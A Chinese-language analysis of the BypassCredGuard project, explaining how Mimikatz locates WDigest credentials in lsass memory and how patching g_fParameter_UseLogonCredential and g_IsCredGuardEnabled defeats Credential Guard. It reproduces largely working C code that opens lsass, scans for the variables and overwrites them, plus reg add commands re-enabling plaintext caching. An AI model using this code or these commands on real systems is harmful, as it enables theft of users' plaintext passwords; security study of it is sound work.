本文内容主要参考Bypass Credential Guard项目,通过对这个项目代码的学习和理解,来更好的学习分析Mimikatz和Credential Guard这两个在转储凭证时必不可少的因素。
引用与介绍
Windows 10 之前,Lsass 将操作系统所使用的密码存储在其进程内存中
当我们获取到机器权限后,经常使用Mimikatz在机器上获取各种凭证,包括明文密码,NTLM哈希和Kerberos票证。这些操作都是通过从LSASS进程内存中转储凭据的。
但是后来微软引入了 Windows Defender Credential Guard 这一概念,当Windows Defender Credential Guard 启动之后,LSASS进程内存隔离来保护这些凭证。
于是后续产生了绕过Windows Defender Credential Guard 来破坏对于lsass进程内存的保护,从而进一步提取内存凭证
具体的进程隔离描述可以参考微软官方提供的效果图:
Mimikatz支持所有版本的 Windows x86 和 x64
Wdigest 是Mimikatz 最著名的功能,在Windows Server 2008 R2之前,wdigest 凭据缓存是默认启用的,之后随着更新纯文本凭据的缓存被禁用。
当我们在开启了Credential Guard的系统上使用Mimikatz 从LSASS进程内存中提取凭证的话就会出现下图的效果 当开启保护的时候就无法提取到明文的凭证了
Mimikatz和sekurlsa::wdigest分析
了解这两个首先我们需要针对lsass进程进行调试学习,其主要用于本地安全和登陆策略
调试一下lsass进程 来深入了解一下 wdigest.dll 和 Credential Guard是怎样保护lsass进程的,以及我们该用怎样的方法去进行bypass.
测试调试环境 Win1909-18363.592
调试lsass.exe 得从内核调试才行,因为直接windbg附加的话会被告警然后重新启动停止运行。
!process 0 0 lsass.exe 获取进程地址 通过EPROCESS 确定地址 然后调试会话切换到 lsass进程
.process /i /p /r address lm 即可显示我们现在可以访问wdigest.dll的内存空间
查看Mimikate 源代码,可以发现其针对于不同的架构是在内存中识别凭证,其过程是通过扫描签名完成的。
#elif defined(_M_X64) BYTE PTRN_WIN5_PasswdSet[] = {0x48, 0x3b, 0xda, 0x74}; BYTE PTRN_WIN6_PasswdSet[] = {0x48, 0x3b, 0xd9, 0x74}; KULL_M_PATCH_GENERIC WDigestReferences[] = { {KULL_M_WIN_BUILD_XP, {sizeof(PTRN_WIN5_PasswdSet), PTRN_WIN5_PasswdSet}, {0, NULL}, {-4, 36}}, {KULL_M_WIN_BUILD_2K3, {sizeof(PTRN_WIN5_PasswdSet), PTRN_WIN5_PasswdSet}, {0, NULL}, {-4, 48}}, {KULL_M_WIN_BUILD_VISTA, {sizeof(PTRN_WIN6_PasswdSet), PTRN_WIN6_PasswdSet}, {0, NULL}, {-4, 48}}, }; #elif defined(_M_IX86) BYTE PTRN_WIN5_PasswdSet[] = {0x74, 0x18, 0x8b, 0x4d, 0x08, 0x8b, 0x11}; BYTE PTRN_WIN6_PasswdSet[] = {0x74, 0x11, 0x8b, 0x0b, 0x39, 0x4e, 0x10}; BYTE PTRN_WIN63_PasswdSet[] = {0x74, 0x15, 0x8b, 0x0a, 0x39, 0x4e, 0x10}; BYTE PTRN_WIN64_PasswdSet[] = {0x74, 0x15, 0x8b, 0x0f, 0x39, 0x4e, 0x10}; BYTE PTRN_WIN1809_PasswdSet[] = {0x74, 0x15, 0x8b, 0x17, 0x39, 0x56, 0x10}; KULL_M_PATCH_GENERIC WDigestReferences[] = { {KULL_M_WIN_BUILD_XP, {sizeof(PTRN_WIN5_PasswdSet), PTRN_WIN5_PasswdSet}, {0, NULL}, {-6, 36}}, {KULL_M_WIN_BUILD_2K3, {sizeof(PTRN_WIN5_PasswdSet), PTRN_WIN5_PasswdSet}, {0, NULL}, {-6, 28}}, {KULL_M_WIN_BUILD_VISTA, {sizeof(PTRN_WIN6_PasswdSet), PTRN_WIN6_PasswdSet}, {0, NULL}, {-6, 32}}, {KULL_M_WIN_MIN_BUILD_BLUE, {sizeof(PTRN_WIN63_PasswdSet), PTRN_WIN63_PasswdSet}, {0, NULL}, {-4, 32}}, {KULL_M_WIN_MIN_BUILD_10, {sizeof(PTRN_WIN64_PasswdSet), PTRN_WIN64_PasswdSet}, {0, NULL}, {-6, 32}}, {KULL_M_WIN_BUILD_10_1809, {sizeof(PTRN_WIN1809_PasswdSet), PTRN_WIN1809_PasswdSet}, {0, NULL}, {-6, 32}}, };
我们这里着重关注 PTRN_WIN6_PasswdSet 所示的签名 可以看到有针对于不同架构的定义
我们可以通过其扫描机制确定 解密过程中参与的函数 也是提权凭据的关键 通过值我们可以定位到
wdigest.dll 如下的函数
LogSessHandlerPasswdSet 从名字可以大概理解到这是一个有关乎缓存中密码设置的,
继续分析查看交叉引用的话可以发现在其被调用存在这么一个函数 SpAcceptCredentials
SpAcceptCredentials 是一个从Wdigest.dll 导出的函数 ,msdn对其有着一定的解释
NTSTATUS Spacceptcredentialsfn( [in] SECURITY_LOGON_TYPE LogonType, [in] PUNICODE_STRING AccountName, [in] PSECPKG_PRIMARY_CRED PrimaryCredentials, [in] PSECPKG_SUPPLEMENTAL_CRED SupplementalCredentials )
根据msdn的描述,可以确定我们的方向没错,可以看到凭据是通过此回调函数传递.
然后下个断点继续查看 验证一下
触发断点 runas /USER:renyimen /netonly cmd.exe 查看调用的参数,传入的凭据
查看寄存器的值发现,我们传入的用户名 主机名和输入的密码都是明文的发送传进来的。
从调用栈其实可以发现wdigest.dll 还有关于lsasrv.dll的参与
分析lsasrv! 调用的系列函数加上分反编译lsasrv.dll 可以明白主要是lsasrv做的凭证的加解密处理
分析lsasrv!LsapUpdateNamesAndCredentials 断点调用发现函数LsaProtectMemory,于是断点发现确实经过.
而在其中真正实现的函数是LsaEncryptMemory
而LsaEncryptMemory 实际上也是通过BCryptEncrypt去实现具体功能
BCryptEncrypt 又是由bcrypt.dll导出的,通过断点已经确定加密的流程就是如此
经过分析总结调用过程 BCryptEncrypt -->ApplyEncryptionPadding -->BCryptGenRandom
NTSTATUS __stdcall BCryptEncrypt( BCRYPT_KEY_HANDLE hKey, PUCHAR pbInput, ULONG cbInput, void *pPaddingInfo, PUCHAR pbIV, ULONG cbIV, PUCHAR pbOutput, ULONG cbOutput, ULONG *pcbResult, ULONG dwFlags)
通过msdn对此函数的介绍 可以明白 hkey是秘钥是句柄,pbinput 包含明文存放的地址,cbinput是加密的字节数,padding就是填充信息,pbiv为偏移
具体的算法我们先不用管,大致就是lsasrv是实现对明文凭证的加密,而具体算法实现的是通过bcrypt,然后通过msdn对于算法函数参数的介绍,我们已经明白关键是秘钥的生成。所以如果要解密Wdigest的凭据的话,就肯定需要获取到秘钥的信息。
然后这一步我们就可以看看mimikatz是如何做的,因为既然mimikatz是可以获取到没有被保护的凭证,那么肯定有其获取的办法。
如图我们可以在其中获取到Windows 版本和结构的完整签名列表,mimikatz这一步跟上边的签名搜索异曲同工也是在内存中搜索加密的秘钥。然后再通过计算其偏移提取出来。这样就完成了一个WDigest 缓存凭证被抓取和解密的过程。
下一步就是 绕过 保护的过程了。
UseLogonCredential与绕过Credential Guard
首先因为转储明文凭据这个机制在微软看来已经并不安全,于是微软决定默认禁用对这一遗留的机制问题。当然微软也会有考虑一些用户可能正在使用 WDigest,所以讲这个启动和关闭的决定权也留给了用户,因此提供重新启用和关闭它的选项。也就是注册表
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest\UseLogonCredential
UseLogonCredential 在这种情况下催生出来。默认情况下是不存在这一项的
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 0 /f 将其从“0”切换为“1”会强制 WDigest 再次开始缓存凭据
在 wdigest.dll 内部,直接搜索一下关键词UseLogonCredential,并且该变量是在注册表内可控的 再加上关于注册表操作的API,最后发现 wdigest!SpInitialize
从上述代码我们可以明白了 ,其通过 g_fParameter_UseLogonCredential 变量来确定系统是否设置了 UseLogonCredential 注册表键值。RegQueryValueExW也是用来检索当前注册表UseLogonCredential的键值。
通过了解 WDigest.dll 中的哪些变量控制凭据缓存,那么我们是否可以在不更新注册表的情况下修改它?在内核调试下这可以轻松做到。
首先当前系统禁用了 Wdigest,并且 Credential Guard 没有启用
然后进行测试 ed wdigest!g_fParameter_UserLogonCredential 1
成功修改。 此时然后还有一个变量g_IsCredGuardEnabled
这个变量就是重点了,它主要是保存模块内 Credential Guard 的状态,也就是我们主要绕过的目标。
而且它还决定了Wdigest是否使用 Credential Guard 兼容的功能。根据老办法搜索可以看到如下代码分析,g_fParameter_UserLogonCredential 和 g_IsCredGuardEnabled 都跟我们是否开启Credential Guard 的状态有关系。 那么我们就可以在修改g_fParameter_UserLogonCredential同时将这个值也修改为0或者1,来进行尝试看是否可以成功bypass。
关键代码分析
具体实现来结合一下github BypassCredGuard项目代码分析一下
首先最主要的肯定要通过RtlGetNtVersionNumbers 获取操作系统的版本,这样才能保证后续的正常运行。
int wmain(int argc, wchar_t* argv[]) { HANDLE hToken = NULL; RtlGetNtVersionNumbers(&NT_MAJOR_VERSION, &NT_MINOR_VERSION, &NT_BUILD_NUMBER); // Open a process token and get a process token handle with TOKEN_ADJUST_PRIVILEGES permission if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken)) { wprintf(L"[-] OpenProcessToken Error [%u].\n", GetLastError()); return -1; } if (EnableDebugPrivilege(hToken, SE_DEBUG_NAME)) { PatchMemory(); } }
然后因为lsass.exe是系统进程,因为我们调试都需要内核去调试,所以还需要AdjustTokenPrivileges去提升当前进程特权,开启SeDebugPrivilege。
最关键的地方 就是因为我们需要修改内存中g_fParameter_UserLogonCredential 和 g_IsCredGuardEnabled 的值
所以就要获取这两个变量在内存中的地址。
BOOL AcquireLSA() { BOOL status = FALSE; DWORD pid; if (pid = GetProcessIdByName(L"lsass.exe")) cLsass.hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid); else wprintf(L"[-] Lsass Process Not Found."); cLsass.osContext.MajorVersion = NT_MAJOR_VERSION; cLsass.osContext.MinorVersion = NT_MINOR_VERSION; cLsass.osContext.BuildNumber = NT_BUILD_NUMBER & 0x00007fff; if (GetVeryBasicModuleInformations(cLsass.hProcess) && LsassPackage.Module.isPresent) { wprintf(L"[*] Base address of wdigest.dll: 0x%016llx\n", LsassPackage.Module.Informations.DllBase.address); if (LsaSearchGeneric(&cLsass, &LsassPackage.Module, g_References, ARRAYSIZE(g_References), (PVOID*)&g_fParameter_UseLogonCredential, (PVOID*)&g_IsCredGuardEnabled) && LsassPackage.Module.isInit) { wprintf(L"[*] Address of g_fParameter_UseLogonCredential: 0x%016llx\n", g_fParameter_UseLogonCredential); wprintf(L"[*] Address of g_IsCredGuardEnabled: 0x%016llx\n", g_IsCredGuardEnabled); status = TRUE; } } return status; }
先我们首先要获取lsass.exe 这个进程的pid,然后才能从其中获取其加载的wdigest.dll模块信息。主要是通过GetVeryBasicModuleInformations 这个函数获取lsass.exe 进程的基本信息
BOOL GetVeryBasicModuleInformations(HANDLE hProcess) { BOOL status = FALSE; PEB Peb; PEB_LDR_DATA LdrData; LDR_DATA_TABLE_ENTRY LdrEntry; PROCESS_VERY_BASIC_MODULE_INFORMATION moduleInformation; UNICODE_STRING moduleName; PBYTE pListEntryStart, pListEntryEnd; moduleInformation.ModuleName = &moduleName; if (GetProcessPeb(hProcess, &Peb)) { if (ReadProcessMemory(hProcess, Peb.Ldr, &LdrData, sizeof(PEB_LDR_DATA), NULL)) { for ( pListEntryStart = (PBYTE)LdrData.InLoadOrderModuleList.Flink, pListEntryEnd = (PBYTE)Peb.Ldr + FIELD_OFFSET(PEB_LDR_DATA, InLoadOrderModuleList); pListEntryStart != pListEntryEnd; pListEntryStart = (PBYTE)LdrEntry.InLoadOrderLinks.Flink ) { if (ReadProcessMemory(hProcess, pListEntryStart, &LdrEntry, sizeof(LDR_DATA_TABLE_ENTRY), NULL)) { moduleInformation.DllBase.address = LdrEntry.DllBase; moduleInformation.SizeOfImage = LdrEntry.SizeOfImage; moduleName = LdrEntry.BaseDllName; if (GetUnicodeString(&moduleName, cLsass.hProcess)) { status = FindModules(&moduleInformation); } LocalFree(moduleName.Buffer); } } } } return status; }
而在GetVeryBasicModuleInformations 函数内又编写了一个函数GetProcessPeb
这个函数的功能很简单就是通过NtQueryInformationProcess 检索lsass进程的信息
然后GetVeryBasicModuleInformations 函数内其他部分主要是遍历了PEB结构,通过获取lsass进程的PEB数据块,这样就能获取到lsass.exe 进程加载的 wdigest.dll 模块的地址等信息,获取到的信息通过定义的PROCESS_VERY_BASIC_MODULE_INFORMATION结构体,存放在其中。
这样获取wdigest.dll 信息后,就该进行获取两个变量g_fParameter_UserLogonCredential 和 g_IsCredGuardEnabled了
而获取这两个变量的话,其实做法是跟Mimikatz差不多也是采用通过获取系统版本特征码,然后用特征码进行识别和扫描进行对比。
BOOL LsaSearchGeneric(PLSA_CONTEXT cLsass, PLSA_LIB pLib, PPATCH_GENERIC genericReferences, SIZE_T cbReferences, PVOID* genericPtr, PVOID* genericPtr1) { BOOL status = FALSE; MEMORY_SEARCH sMemory = { {pLib->Informations.DllBase.address, pLib->Informations.SizeOfImage}, NULL }; PPATCH_GENERIC currentReference; LONG offset; MEMORY_ADDRESS lsassMemory; if (currentReference = GetGenericFromBuild(genericReferences, cbReferences, cLsass->osContext.BuildNumber)) { if (MemorySearch(cLsass->hProcess, currentReference->Search.Pattern, currentReference->Search.Length, &sMemory)) { wprintf(L"[*] Matched signature at 0x%016llx: ", sMemory.result); PrintfHex(currentReference->Search.Pattern, currentReference->Search.Length); lsassMemory.address = (PBYTE)sMemory.result + currentReference->Offsets.off0; if (status = ReadProcessMemory(cLsass->hProcess, lsassMemory.address, &offset, sizeof(LONG), NULL)) { *genericPtr = ((PBYTE)lsassMemory.address + sizeof(LONG) + offset); } if (genericPtr1) { lsassMemory.address = (PBYTE)sMemory.result + currentReference->Offsets.off1; if (status = ReadProcessMemory(cLsass->hProcess, lsassMemory.address, &offset, sizeof(LONG), NULL)) { *genericPtr1 = ((PBYTE)lsassMemory.address + sizeof(LONG) + offset); } } } } pLib->isInit = status; return status; }
LsaSearchGeneric 函数主要通过 GetGenericFromBuild函数(它会根据版本号的,选择合适的规则)获取特征码,然后再通过MemorySearch 函数在内存中匹配特别获取到的特征码,然后遍历范围内的内存。最后通过RtlEqualMemory 函数去获取和特征码一样的内存块。得到特征码的地址
上述代码分析g_IsCredGuardEnabled判断的地方 查看汇编代码的话,可以得到cmp cs:g_fParameter_UseLogonCredential 指令,这个指令就是保存了g_fParameter_UseLogonCredential 变量的地址,这样通过这个指令 我们就能获取到特征了就可以方便后续的匹配从而确定偏移地址继而算出变量地址。
所以最后通过ReadProcessMemory函数读入该进程的内存空间获取这个变量的偏移量。再通过计算
(PBYTE)sMemory.result + currentReference->Offsets.off0
最后这样就成功得到 g_fParameter_useLogonCredential 的地址 g_IsCredGuardEnabled 也是一样的方法获取到其变量的地址。
最后通过PatchMemory 函数修改变量在内存的值(主要就是通过WriteProcessMemory 来进行内存地址的修改),然后达到绕过的效果。
BOOL PatchMemory() { BOOL status = FALSE; DWORD dwCurrent; DWORD UseLogonCredential = 1; DWORD IsCredGuardEnabled = 0; status = AcquireLSA(); if (status) { if (ReadProcessMemory(cLsass.hProcess, g_fParameter_UseLogonCredential, &dwCurrent, sizeof(DWORD), NULL)) { wprintf(L"[*] The current value of g_fParameter_UseLogonCredential is %d\n", dwCurrent); if (WriteProcessMemory(cLsass.hProcess, g_fParameter_UseLogonCredential, (PVOID)&UseLogonCredential, sizeof(DWORD), NULL)) { wprintf(L"[*] Patched value of g_fParameter_UseLogonCredential to 1\n"); status = TRUE; } else wprintf(L"[-] Failed to WriteProcessMemory for g_fParameter_UseLogonCredential.\n"); } else wprintf(L"[-] Failed to ReadProcessMemory for g_fParameter_UseLogonCredential\n"); if (ReadProcessMemory(cLsass.hProcess, g_IsCredGuardEnabled, &dwCurrent, sizeof(DWORD), NULL)) { wprintf(L"[*] The current value of g_IsCredGuardEnabled is %d\n", dwCurrent); if (WriteProcessMemory(cLsass.hProcess, g_IsCredGuardEnabled, (PVOID)&IsCredGuardEnabled, sizeof(DWORD), NULL)) { wprintf(L"[*] Patched value of g_IsCredGuardEnabled to 0\n"); status = TRUE; } else wprintf(L"[-] Failed to WriteProcessMemory for g_IsCredGuardEnabled.\n"); } else wprintf(L"[-] Failed to ReadProcessMemory for g_IsCredGuardEnabled\n"); } return status; }
最后成功实现 完成绕过
总结一下其就是找到了决定因素的两个变量,然后通过lsass进程来确定wdigest.dll地址,继而再去获取到g_fParameter_useLogonCredential 和 g_IsCredGuardEnabled 的地址,然后修改其内存中的值这样就使其防护失效了。最后就可以通过Mimikatz完成获取明文凭证的效果。